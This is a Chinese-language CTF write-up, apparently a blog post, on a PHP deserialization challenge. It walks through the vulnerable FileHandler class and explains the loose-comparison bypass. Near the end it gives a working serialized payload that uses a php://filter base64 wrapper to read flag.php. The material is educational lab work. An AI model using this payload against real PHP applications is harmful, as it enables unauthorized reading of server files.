0
点赞
收藏
分享

微信扫一扫

【笔试题】位运算

想溜了的蜗牛 2023-11-07 阅读 8
android

打开题目

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

这是php反序列化的题目,因为我们看到了函数unserialize

需要传入一个’str’,而且通过is_valid()规定了传入的每一个字符的ASCII码的范围必须在32到125之间,然后对这个’str’进行反序列化操作。$str = (string)$_GET['str'];:这行代码将$_GET['str']的值强制转换为字符串类型

从__destruct()代码中可以看到,这里 if 中的判断语句用的是强类型比较

代码审计

我们首先看

process函数

if 语句中的判断语句用的是弱类型的比较,那么只要op=2,这个是int整数型的2, op == "2"则为True,就可以进入read函数

我们再看read函数

我们要得到文件包含下的flag,就要执行read函数,不执行write函数,则让op和2弱比较相等

接着看

最后看

内容要是可打印字符

在这里我是用phpstudy创建了个本地网站,在本地打开网页得到的payload,php版本为5.3.29

我们在题目界面传入str参数

?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

base64解密得到flag

知识点:

protected权限

被protected修饰的成员对于本包和其子类可见

      protected 声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。因此保护字段的字段名在序列化时,字段名前面会加上 \0*\0 的前缀,注意,这里的 \0 表示 ASCII 码为 0 的字符,也就是我们经过 urlencode 后看到的 %00

ASCII值为0就无法通过上面的is_valid函数校验

举报

相关推荐

0 条评论